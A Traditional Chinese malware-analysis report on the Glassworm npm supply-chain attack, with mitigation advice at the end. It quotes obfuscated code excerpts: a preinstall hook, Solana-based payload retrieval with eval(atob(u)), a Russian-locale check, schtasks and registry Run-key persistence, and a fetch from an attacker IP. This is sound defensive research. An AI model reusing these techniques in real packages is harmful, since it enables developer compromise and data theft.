preinstall只是開始:
摘要
這份報告深入分析針對熱門 React Native 電話號碼套件的 Glassworm 供應鏈攻擊。此攻擊利用複雜的多階段執行、環境檢查,以及新穎的 command-and-control 機制,包括使用 Solana 區塊鏈和 Google 日曆進行 malicious payload 傳遞和間接導向(Indirection)。我們將深入探討此惡意程式的技術細節,從最初透過混淆的
preinstall
script 感染,到其 persistence 機制和資料竊取能力。此外,我們將與近期其他 npm 供應鏈攻擊進行比較,以突顯 open-source 生態系統中 threat actor 常用的 TTPs(Tactics, Techniques, and Procedures)。
1. 簡介
open-source 軟體生態系統在促進快速創新與協作的同時,也為 malicious actor 提供了顯著的攻擊面。供應鏈攻擊,即攻擊者在軟體開發或發佈的任何階段入侵軟體元件,已變得越來越普遍。Glassworm 攻擊正是此趨勢的例證,它針對廣泛使用的 React Native 套件來散佈多階段惡意程式。此報告目的在剖析 Glassworm 攻擊的技術層面,深入分析其操作手法以及對軟體供應鏈安全的廣泛影響。
2. 攻擊方法論
Glassworm 攻擊採用多種方法來入侵目標系統,其特點是為了隱蔽和持久性而設計的幾個不同階段。感染鏈始於被入侵的 npm 套件中嵌入的惡意
preinstall
script,這是供應鏈攻擊的常見手法
[2]
。
2.1. 初始入侵:安裝時執行
Glassworm 攻擊的主要媒介是操縱合法 React Native 套件中的
package.json
檔案。透過注入
preinstall
script,攻擊者確保他們的惡意程式碼在套件安裝過程中自動執行
[1]
。此技術非常有效,因為它繞過了一般的使用者互動,使感染過程順暢且難以被不疑有他的開發者察覺。
以下程式碼片段說明了惡意的
preinstall
hook:
- "scripts": {
- "preinstall": "node install.js"
- }
這個設定指示
npm
在套件完全安裝前執行
install.js
。
install.js
檔案本身經過高度混淆,這是常用來規避靜態分析和阻礙逆向工程的技術
[3]
。這個混淆的 script 負責連線到外部基礎設施,以擷取並動態執行第二階段的 payload
[1]
。
2.2. 透過 Solana RPC 的第二階段傳遞
Glassworm 攻擊一個值得注意的技術層面是,它使用 Solana 區塊鏈的 Remote Procedure Call (RPC) 方法來擷取第二階段的 payload。經過混淆的
install.js
查詢 Solana 網路,以取得包含 base64 編碼 URL 的交易備忘錄。然後,這個 URL 成為下一階段惡意程式的來源
[1]
。
以下程式碼片段示範了 Solana RPC 的擷取機制:
- let y = await fetch(S, {
- 'method': e(0x45b, 'nSeb', 0x48f, 0x42b),
- 'headers': M,
- 'body': JSON[d(0x473, 'kjpv', 0x42d, 0x471)]({
- 'jsonrpc': e(0x42c, ')qo^', 0x477, 0x425),
- 'id': 0x1,
- 'method': 'getSignatu' + e(0x441, 'PhAy', 0x42c, 0x45e) + d(0x4bb, '6bCJ', 0x4b3, 0x4d3),
- 'params': [H[d(0x50d, '%Rah', 0x527, 0x4f7)](), t]
- })
- });
這種使用區塊鏈作為 command-and-control (C2) 基礎設施的方法,增加了一層韌性和混淆,使安全研究人員更難追蹤和封鎖 C2 頻道。一旦取得 base64 編碼的連結,惡意程式就會從指定的 URL 擷取內容。然後使用
eval(atob(u))
動態執行擷取到的 payload,這是執行解碼後混淆 JavaScript 程式碼的常見技術
[1]
。
- if (u?.[J(0x4ca, 'h(yv', 0x4ad, 0x49a)] == 0x14) {
- eval(atob(u));
- return;
- }
- if (h[w(0x6c8, 0x6c8, 'pw9N', 0x679)]() == J(0x4c1, 'WZok', 0x4f8, 0x543)) {
- let _iv = Buffer[J(0x4be, 'hcSr', 0x4b8, 0x4f9)](S, 'base64');
- eval(atob(u));
- }
使用
eval(atob(u))
是一個關鍵步驟,因為它允許惡意程式執行從外部來源擷取的任意程式碼,從而實現多階段攻擊,其中每個階段都可以由攻擊者獨立更新或修改。
2.3. 環境規避:語言環境檢查
在完全執行其 malicious payload 之前,Glassworm 惡意程式會進行環境檢查,以確定系統的 locale 設定。具體來說,它會尋找語言和時區設定的指示 [1] 。這種 geo-fencing 技術經常在源自特定地區的惡意程式中觀察到,目的是避免在這些地區內被偵測或起訴。
以下程式碼片段說明了語言環境檢查:
- let n = [
- h['userInfo']()[k(-0xe4, 'nhpn', -0x109, -0xd4)],
- process[k(-0x10f, 'A0gN', -0xf6, -0x151)][B('Fhk]', 0x6cb, 0x636, 0x675)],
- process[B('uKoI', 0x5e9, 0x5b4, 0x5f0)]['LANGUAGE'],
- process[k(-0x100, 'aiAw', -0x139, -0x124)]['LC_ALL'],
- Intl[
- B('uxDz', 0x698, 0x5f4, 0x648) + k(-0x135, 'sDd5', -0xe9, -0x108)
- ]()['options']()[k(-0xf9, '94Hn', -0xcb, -0xc5)]
- ][k(-0xf7, '8MCe', -0xa4, -0xc0)](
- u => u && /ru_RU|ru-RU|Russian|russian/i[B('hcSr', 0x666, 0x6a5, 0x654)](u)
- );
在各種環境變數和 locale 設定中檢查
ru_RU
、
ru-RU
、
Russian
和
russian
等值,讓惡意程式能夠選擇性地運作,可能減少其在某些地理區域的足跡,並使溯源工作更加複雜。
2.4. Persistence 和資料竊取
在成功執行並繞過環境檢查後,Glassworm 惡意程式的第三階段專注於建立 persistence 和啟動資料竊取。此階段主要針對 Windows,並使用標準作業系統機制來確保其在受感染系統上的持續存在 [1] 。
Persistence 是透過使用排程工作 (
schtasks
) 和修改 Windows Registry 的
Run
key 來實現的。這些方法確保惡意程式在每次系統啟動時,甚至在重新啟動後,都會被重新執行。
- schtasks / create / tn "UpdateApp" / tr "powershell -ExecutionPolicy Bypass -File ${ps1Path}" / sc onstart / rl highest / f$rPath = "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
- $randomName = "DPKCbbQ"
- $command = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File ${ps1Path}"
- New - ItemProperty - Path $rPath - Name $randomName - PropertyType String - Value $command - Force
這個程式碼片段示範了建立名為 "UpdateApp" 的排程工作,以及修改 `Run` registry key 以在系統啟動時執行 PowerShell script。此外,惡意程式會寫入一個 `~\init.json` 狀態檔案,它作為 guard 以防止重複執行和管理更新 [1] 。
- const duplicate = path.join(LnwdVr, 'init.json');
- ...
- fs.writeFileSync(duplicate, JSON.stringify({
- init: true,
- update: null,
- date: new Date().getTime(),
- version: '2.27',
- uuid: data?.uuid ? data.uuid : makeid(14)
- }));
這個 `init.json` 檔案包含關於惡意程式安裝的 metadata,包括唯一識別碼和版本,攻擊者可以用來追蹤和控制。
2.5. Google 日曆間接層
Glassworm 攻擊一個特別創新的層面是,它使用 Google 日曆作為間接層來擷取額外的惡意內容。第三階段的 JavaScript 程式碼查詢 `calendar.app.google` 以取得 base64 編碼的 slug。然後使用此 slug 來建構一個 URL,從該 URL 從攻擊者的基礎設施下載後續的 scripts [1] 。
以下程式碼片段說明了這種間接方式:
- QGrJayHbkY(atob('aHR0cHM6Ly9jYWxlbmRhcmFwcC5nb29nbGUvMk5rcmNLS2o0VDZEdjR1SzY'), (err, link) => mzIcfsRBX(atob(link), mzIcfsRBXCall));
- ...
- http.get('http://45.32.150.251' + slug, (res) => {
這種技術為攻擊者提供了一個靈活的 command-and-control 機制。透過更新 Google 日曆項目,他們可以更改下游 payload,而無需修改受感染的 npm 套件,從而保持隱蔽性和適應性。使用合法的 Google 擁有的網域也有助於惡意流量與正常網路活動融合,使其更難被偵測和封鎖 [1] 。
3. 攻擊鏈概述
整個 Glassworm 攻擊鏈可以總結為一個多階段的程序,每個步驟都經過精心設計,以推進惡意程式的目標,同時躲避偵測。下圖說明了攻擊的流程:
sequenceDiagram
participant Developer as Developer
participant npmRegistry as npm Registry
participant MaliciousPackage as Malicious Package
participant installjs as install.js (Obfuscated)
participant SolanaRPC as Solana RPC
participant AttackerC2 as Attacker C2 (Stage 2 URL)
participant Stage3Payload as Stage 3 Payload
participant GoogleCalendar as Google Calendar
participant AttackerC2_2 as Attacker C2 (Final Payload)
Developer->>npmRegistry: npm install (affected package)
npmRegistry->>MaliciousPackage: Delivers package with preinstall hook
MaliciousPackage->>installjs: preinstall script executes install.js
installjs->>SolanaRPC: Queries for transaction memo (base64-encoded link)
SolanaRPC-->>installjs: Returns base64-encoded link
installjs->>AttackerC2: Fetches Stage 2 payload from URL
AttackerC2-->>installjs: Delivers encrypted Stage 2 payload
installjs->>Stage3Payload: Decrypts and executes Stage 3 payload
Stage3Payload->>GoogleCalendar: Queries for base64-encoded slug
GoogleCalendar-->>Stage3Payload: Returns base64-encoded slug
Stage3Payload->>AttackerC2_2: Fetches additional content using slug
AttackerC2_2-->>Stage3Payload: Delivers final malicious components
Stage3Payload->>Developer: Establishes persistence & exfiltrates data
4. 與其他供應鏈攻擊的比較
Glassworm 攻擊與其他近期的 npm 供應鏈攻擊有幾個共同特徵,凸顯了此威脅情勢的共同趨勢。例如,使用
preinstall
script 作為初始感染媒介是一種普遍技術。以 Shai-Hulud 攻擊為例,它也利用
preinstall
script 來執行名為
setup_bun.js
的 loader 檔案,然後下載並執行高度混淆的 payload
[2]
。
Glassworm 使用的混淆技術,例如十六進位編碼和動態執行,在各種惡意 npm 套件中也很常見。在「揭露惡意npm套件如何竊取你的加密貨幣錢包」一文中描述的攻擊,也詳細說明了使用廣泛的混淆(包括十六進位編碼)來隱藏惡意功能和字串,從而使靜態分析變得困難 [3] 。這顯示 threat actor 之間存在著規避偵測和分析的共同策略。
此外,資料竊取的目標(特別是敏感資訊,如私鑰和錢包地址)是一個常見的目的。例如,竊取加密貨幣錢包的惡意程式會執行環境檢查、提取敏感資訊,並啟動未經授權的加密貨幣交易,將高達 85% 的錢包餘額轉移到攻擊者控制的地址 [3] 。這種部分竊取策略目的在延遲懷疑並延長攻擊的隱蔽性。
5. 緩解策略
為了應對像 Glassworm 這樣複雜的供應鏈攻擊,多層次的防禦策略至關重要。開發者和組織必須採取主動措施來保護他們的軟體開發生命週期,並防範惡意套件注入。
5.1. 強化套件驗證
開發者在整合前應嚴格驗證 npm 套件的真實性和完整性。這包括:
- 來源驗證: 始終檢查套件的官方來源和 repository。要警惕名稱相似的套件 (typosquatting),或由未知或可疑帳戶發佈的套件 [3] 。
- 數位簽章: 使用支援數位簽章的套件管理器和 registry,以驗證套件的來源和完整性。
- 依賴項稽核: 定期稽核依賴項中已知的漏洞和可疑行為。在依賴項中掃描惡意模式和入侵指標的工具非常有價值。
5.2. 靜態分析和動態分析
採用靜態分析和動態分析技術可以幫助在惡意程式碼執行前或執行期間檢測到它:
- 靜態分析: 使用無需執行程式碼即可分析程式碼的工具,尋找混淆、可疑的 API 呼叫和已知的惡意模式。雖然混淆會阻礙靜態分析,但進階工具仍然可以識別異常 [2] 。
- 動態分析 (Sandboxing): 在隔離的沙箱環境中執行程式以觀察其行為。即使程式碼被混淆,這也可以揭示惡意活動,例如對可疑 domain 的網路請求、檔案系統修改或非預期的 process 產生。
5.3. 最小權限原則
在開發環境和 CI/CD 管道中遵循最小權限原則,可以顯著限制成功攻擊的影響:
- 限制權限: 使用最低必要的權限執行建置程序和套件安裝。這可以防止惡意 scripts 獲得對系統或網路的廣泛存取權。
- 網路隔離: 將開發和建置環境與敏感的生產系統和關鍵資料儲存隔離。
5.4. 持續監控和威脅情資
隨時了解最新威脅並持續監控可疑活動至關重要:
- 威脅情資饋送: 訂閱並整合提供新供應鏈攻擊、受感染套件和 TTPs 資訊的威脅情資饋送。
- 行為監控: 建置系統以監控異常的網路流量、程序行為,以及檔案系統變化,這些都可能顯示系統已遭到入侵。